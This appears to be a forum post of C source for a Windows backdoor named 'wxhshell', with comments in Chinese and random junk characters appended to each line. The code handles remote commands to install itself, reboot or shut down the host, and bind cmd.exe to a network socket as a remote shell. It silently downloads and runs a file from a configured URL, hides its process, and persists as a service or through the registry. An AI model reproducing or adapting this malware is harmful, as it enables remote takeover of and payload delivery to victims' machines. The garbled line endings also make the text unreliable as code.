    switch(cmd[0]) { Xwi&uyvU&  
  TG9)x|!  
  // 帮助 UPYM~c+}  
  case '?': { bq O"k t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1#(1Bs6X  
    break; "J#:PfJ%  
  } -ZB"Yg$l  
  // 安装 f+V':qz  
  case 'i': { "->:6Oe2   
    if(Install()) B (falmXJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~-+Zu<  
    else LDsYr]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FScQS.qF  
    break; :m\KQ1sq  
    } u_B SWhiW  
  // 卸载 hqPn~Tq  
  case 'r': { W<Lrfo&=Y]  
    if(Uninstall()) g$b*#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .IXwa,  
    else pA'A<|)K0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4_<Uk  
    break; * 5n:+Tw(  
    } J%)2,szn0  
  // 显示 wxhshell 所在路径 w%;'uN_  
  case 'p': { .D .Rn/  
    char svExeFile[MAX_PATH]; l 5FQ!>IM  
    strcpy(svExeFile,"\n\r"); umzYJ>2t  
      strcat(svExeFile,ExeFile); Pcs@`&}7r  
        send(wsh,svExeFile,strlen(svExeFile),0); [/G;XHL;?  
    break; R5"p7>  
    } T8-$[ 2  
  // 重启 :3f2^(b~^  
  case 'b': { ' T]oV~H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `?x$J 6p  
    if(Boot(REBOOT)) dK: "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kdC OcJB  
    else { s /M~RB!w  
    closesocket(wsh); J~q+G  
    ExitThread(0); dI-5%Um  
    } ydQS"]\g  
    break; kg@h R}  
    } [Jo TWouNU  
  // 关机 WFP\;(YV  
  case 'd': { h86={@Le  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0K ?(xB  
    if(Boot(SHUTDOWN)) YHYB.H)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {O) &5  
    else { W#j,{&KVn  
    closesocket(wsh); @3YuV=QfH  
    ExitThread(0); 4Z }{hc\J  
    } F/sBr7I  
    break; mx~sxYa  
    } " 44?n <1  
  // 获取shell &J$5+"/;X  
  case 's': { Wi^rnr'S s  
    CmdShell(wsh); I?>T"nV +'  
    closesocket(wsh); $sZHApJV+  
    ExitThread(0); *a!!(cZZ  
    break; 8n5nHne  
  } x[UO1% _o-  
  // 退出 <q2nZI^  
  case 'x': { Kdu\`c-lB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8F`  
    CloseIt(wsh); *K'ej4"u  
    break;  2p>SB/  
    } Y)}%SP>,  
  // 离开 +o]BjgG  
  case 'q': { "Q{~Bj~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4/?}xD|?  
    closesocket(wsh); &Fjilx'k  
    WSACleanup(); ~uadivli  
    exit(1); S7{.liHf  
    break; % VpBB  
        } nM-SDVFM  
  } 8"mW!M  
  } D^55:\4(  
a +yI2s4Z  
  // 提示信息 !m(L0YH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I^(#\vRW  
} Aq%^>YAp  
  } JyC&L6[]Z  
?3TV:fx"X  
  return; ?VQLY=?  
} c8tC3CrKp=  
h;qy5KS  
// shell模块句柄 ^alZ\!B8  
int CmdShell(SOCKET sock) h6y4Ii  
{ f\|?_k]  
STARTUPINFO si; {@__%=`CCS  
ZeroMemory(&si,sizeof(si)); K#hYbDm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cfo 8gX*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Lo5@zNt%W  
PROCESS_INFORMATION ProcessInfo; y[6&46r7D  
char cmdline[]="cmd"; Xj~EVD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3DC%I79  
  return 0; Qk.Q9@3W  
} puN=OX}C  
f&|A[i>g  
// 自身启动模式 QhQ"OVFr#  
int StartFromService(void) 8`2<g0V2  
{ ,G|aLBn  
typedef struct 6F.7Ws <  
{ nDB 2>J  
  DWORD ExitStatus; .*-w UBr  
  DWORD PebBaseAddress; B36puz 0{  
  DWORD AffinityMask; :dIQV(iW  
  DWORD BasePriority; ;'QY<,p[e  
  ULONG UniqueProcessId; e ]o'i;I  
  ULONG InheritedFromUniqueProcessId; ~X<cG=p~u  
}   PROCESS_BASIC_INFORMATION; 7[v@*/W@  
Y%:0|utQC  
PROCNTQSIP NtQueryInformationProcess; 5b1uD>,;y  
rjHIQC C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )|y2Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L'XdX\5  
|F@xwfgb  
  HANDLE             hProcess; 3'*%R48P`  
  PROCESS_BASIC_INFORMATION pbi; hr4ye`c j  
Nv?-*&L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |"YA<e %  
  if(NULL == hInst ) return 0; Ldhk^/+  
1Uemsx%'k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XL PpxG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?Wg{oB@(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M*|VLOo=v  
n<<=sj$\!  
  if (!NtQueryInformationProcess) return 0; )w2K&Zr0  
J4v0O="  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gZlw  
  if(!hProcess) return 0; qJ+52U|z  
(;pi"/x[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M ?xpwqu\  
zf3:<CRX5  
  CloseHandle(hProcess); Va@6=U7c  
T3 9C lH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X')Zm+  
if(hProcess==NULL) return 0; 3<Z'F}lg  
AwXt @!(  
HMODULE hMod; !Wixs]od   
char procName[255]; Fu4EEi  
unsigned long cbNeeded; 5rmlAq  
hzQ+9-qA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /}$T38  
O5qW*r'  
  CloseHandle(hProcess); u-QO>3oY6  
2zKo  
if(strstr(procName,"services")) return 1; // 以服务启动 r%F(?gKXkd  
UV']NH h  
  return 0; // 注册表启动 lH)em.#  
} #~4{`]W6  
vXWsF\g  
// 主模块 XpgV09.EE  
int StartWxhshell(LPSTR lpCmdLine) | 7 m5P@X  
{ dv'E:R(a  
  SOCKET wsl; =@JS88+  
BOOL val=TRUE; n</k/Mk}  
  int port=0; qcTmsMpj  
  struct sockaddr_in door; m0|Ae@g~3  
Zj1ZU[BEcL  
  if(wscfg.ws_autoins) Install(); J3~hzgY  
,](v?v.[4  
port=atoi(lpCmdLine); 0L:V#y-*  
lmhbF  
if(port<=0) port=wscfg.ws_port; 1Y=AT!"V  
', sQ/#S  
  WSADATA data; E7gHi$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -@SOo"P  
< TR/ `  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   my ;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ik2- OM  
  door.sin_family = AF_INET; +ze}0lrEL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CF|moc:;  
  door.sin_port = htons(port); m<4s*q0\i  
V$dJmKg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G@!_ZM8h  
closesocket(wsl); =[P%_v``  
return 1; ~V2ajM1Z&O  
} 4= Tpi`  
5S%C~iB  
  if(listen(wsl,2) == INVALID_SOCKET) { D3S+LV  
closesocket(wsl); -9OMn}w/*  
return 1; ImWXzg3@{  
} EO#gUv  
  Wxhshell(wsl); Fn86E dFM  
  WSACleanup(); b/sOfQ  
Ecxj9h,S  
return 0; {sC@N![  
T-9k<,>?  
} bZ>&QM  
YH[XRUa  
// 以NT服务方式启动 {*QvC g?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T?X^0UdJj  
{ $%g\YdC  
DWORD   status = 0; >`7OcjLg  
  DWORD   specificError = 0xfffffff; pi`;I*f/  
~`t%M?l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qyg*n>nt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -3.UE^W2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 61/)l0 <;  
  serviceStatus.dwWin32ExitCode     = 0; iV?` i  
  serviceStatus.dwServiceSpecificExitCode = 0; J`w]}GlH  
  serviceStatus.dwCheckPoint       = 0; T3PX gL)o  
  serviceStatus.dwWaitHint       = 0; #)GW}U]X  
WP0 #i~3*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); la'e[t7  
  if (hServiceStatusHandle==0) return; Z#-k.|}  
`n 3FT=  
status = GetLastError(); \O kc5;kB2  
  if (status!=NO_ERROR) S dIGU[fm  
{ &/s~? Iq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \ V6   
    serviceStatus.dwCheckPoint       = 0; }{ n\tzR  
    serviceStatus.dwWaitHint       = 0; \Yj#2ww  
    serviceStatus.dwWin32ExitCode     = status; g<fDY6jt  
    serviceStatus.dwServiceSpecificExitCode = specificError; WP5VcBC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bv^+d\*1  
    return; Z^s+vi  
  } bvl~[p$W3  
$^}[g9]1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jip\4{'N  
  serviceStatus.dwCheckPoint       = 0; f hQy36i@  
  serviceStatus.dwWaitHint       = 0; 7}Bj|]b)~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }>V/H]B  
} MZT6g.ny  
NMXnrvS&  
// 处理NT服务事件,比如:启动、停止 hUVk54~l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^J8uhV;w  
{ |~SE"  
switch(fdwControl) I>{!U$  
{ {3hqp*xl  
case SERVICE_CONTROL_STOP: %a5t15 9  
  serviceStatus.dwWin32ExitCode = 0; ?*[\UC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Oe/6.h?  
  serviceStatus.dwCheckPoint   = 0; %X;7--S%?g  
  serviceStatus.dwWaitHint     = 0; Iz#yQ`  
  { %yp5DD}|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )ZGYhE  
  } q(IZJGb  
  return;  "Y7+{  
case SERVICE_CONTROL_PAUSE: - %|P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *zq.C  
  break; OU!nN>ln  
case SERVICE_CONTROL_CONTINUE: f`9JE8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,j y<o+!  
  break; M;*$gV<x  
case SERVICE_CONTROL_INTERROGATE: GuT6K}~|D  
  break; e^ QVn\<c  
}; @g4Shlx|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !\^jt%e&  
} 3:l DL2  
9 ~~qAoD  
// 标准应用程序主函数 ^] 6M["d/p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ABc)2"i:*  
{ RlrZxmPV>O  
X8Xn\E  
// 获取操作系统版本 V JDoH  
OsIsNt=GetOsVer(); v dU%R\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a9=>r  
ob E:kNE9  
  // 从命令行安装 Okpwh kPL5  
  if(strpbrk(lpCmdLine,"iI")) Install(); q +R*Hi  
abBO93f^  
  // 下载执行文件 @lS==O-`f  
if(wscfg.ws_downexe) { # :#M{1I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }f#_4ACaD  
  WinExec(wscfg.ws_filenam,SW_HIDE); FEF"\O|Q  
} i^*M^P3m  
/s:w^ g~  
if(!OsIsNt) { n#BvW,6J  
// 如果时win9x,隐藏进程并且设置为注册表启动 IU|kNBo  
HideProc(); y;nvR6)  
StartWxhshell(lpCmdLine); r| f-_D  
} H?tUCbw  
else oV9z(!X/  
  if(StartFromService()) l-}KmZ]  
  // 以服务方式启动 +Q)ULnie e  
  StartServiceCtrlDispatcher(DispatchTable); x? N.WABr;  
else C/G]v*MBQ  
  // 普通方式启动 aG(hs J)  
  StartWxhshell(lpCmdLine); f2yq8/J8.  
9_ZBV{   
return 0; yHNuU)Ft  
}
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只看该作者 1 发表于: 2006-10-10
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